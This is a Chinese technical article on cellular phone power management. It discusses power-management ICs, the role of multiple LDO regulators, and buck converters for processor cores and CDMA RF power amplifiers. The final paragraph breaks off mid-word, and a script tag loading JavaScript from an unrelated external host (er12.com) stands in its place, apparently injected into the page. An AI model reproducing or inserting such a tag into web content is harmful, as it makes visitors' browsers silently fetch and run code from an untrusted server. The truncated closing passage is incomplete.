蜂窝电话电源管理方案

新一代蜂窝电话不仅尺寸大大缩小,而且集成了更多的功能,如:pda功能,收/发电子邮件,短信服务,在大尺寸、色彩丰富的显示器上浏览互联网信息;有些模块还包含了调频(fm)收音机、mp3播放器、甚至数码相机等功能。消费者希望在不增大电池尺寸的情况下能够提供更长的待机和通话时间,在一个如此小的“盒子”内集成了更多的功能后还要保持其低功耗特性,这将需要严格的电源管理设计。

  电源管理ic

  大多数无线手持终端的核心问题最终集中到了电源管理ic(pmic)方面,pmic承担供电电路和其它电路(如接口、音频电路)的绝大部分任务。一些占市场主导地位的模拟生产厂商能够提供pmic的定制、半定制或标准器件,这些器件通常采用针对混合信号和电源产品优化的5v亚微米、双极型cmos处理工艺,手持产品中任何还没有集成到其它功能芯片内的电路都被试图集成到pmic内,但需考虑一些制约因素,例如,在图1电路中考虑到下述原因,没有在芯片内集成某些特殊功能电路:某些电路设计在其它处理器内会更省钱、尺寸更小;随着技术的进步、客户需求的变化一些电路可能在不同的设计版本中发生变化;对于不同的平台有些电路不通用;一些电路的设计存在一定的风险或挑战,会直接影响设计进度;一些电路集成到pmic中会存在某些缺陷,如:噪声耦合。尽可能提高电路的集成度会明显降低产品的成本、缩小系统尺寸,特别是集成那些具有极大市场潜力的手持终端内比较通用的电路,在后续设计中随着集成度的提高,风险也会逐步得到控制。

图1 max1502集成了支持高通公司msm600 cdma芯片组的标准产品电源管理ic

  低压差线性稳压器

  蜂窝电话内部一般会用到5至12个独立的低压差线性稳压器(ldo),ldo的数量如此之多并不代表终端内部存在多路不同的电压,而是由于ldo除供电外,还要充当电源的通/断控制开关,提供足够的电源抑制比(psrr),避免噪声耦合。绝大多数ldo集成在pmic内部,个别ldo则留在了pmic外部,这主要是考虑到pcb板的布局、引线长度、一些特殊元件(如压控振荡器)对噪声灵敏度的要求,以及一些非标准功能模块(如集成数码相机)的供电等问题。多年以来,sot23封装的150ma ldo是这些离散电源的最佳选择。

  目前,一些最新面世的ic采用新型封装、新型亚微米处理工艺和先进的设计方案,能够以更小的尺寸提供更高的性能。例如,采用sot23封装的ldo可提供一路300ma的输出或两路150ma的输出,采用微型sc70封装的ldo可提供120ma的输出。这些产品中既具有标准器件,也具有超低噪声(10mvrms、85db psrr)器件,此外,更为先进的裸片级封装(ucsp)进一步缩小了离散ldo的尺寸,而qfn封装则允许在稍大一些的晶片上提供更强的散热性能,qfn封装的ldo能够提供更大的负载电流或集成更多的ldo,使得离散ldo方案与pmic之间的区别越来越小。

  用于处理器核的降压型转换器

  ldo具有简单、小尺寸等特点,其主要缺陷是效率较低,特别是为低压电路供电时,效率问题更加突出。由于在新一代蜂窝电话内部集成了pda功能或互联网功能,要求处理器的数据处理能力、运算能力更加强大。为了降低功耗,处理器的核电压不断降低,从1.8v降到了0.9v。为了降低电池损耗,应采用高效的降压型转换器为处理器核供电。设计中需要考虑的主要因素有:低成本、小尺寸、高效率、低静态(待机)电流和快速瞬态响应。为解决上述问题不仅需要丰富的模拟设计经验,还需要一定的独创能力。就目前来说,只有少数几家半导体制造商能够提供适当的、sot23封装、具有1mhz(甚至更高)开关频率、允许选用微型外部电感和电容元件的降压型转换器。

  为射频功率放大器供电的降压型转换器

  在比较成熟的日本蜂窝电话市场,降压型转换器还用于cdma射频(rf)功率放大器(pa)的供电,为pa提供的电源电压(vcc)随着终端与基站之间的距离而改变。考虑到数据传输密度,采用降压型转换器的方案能够平均节省40-65ma的电池电流,具体取决于电源输出电压的步进值、pa特性、在城市或郊区环境中传输声音或数据。基于日本和一家欧洲wcdma厂商的成功经?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计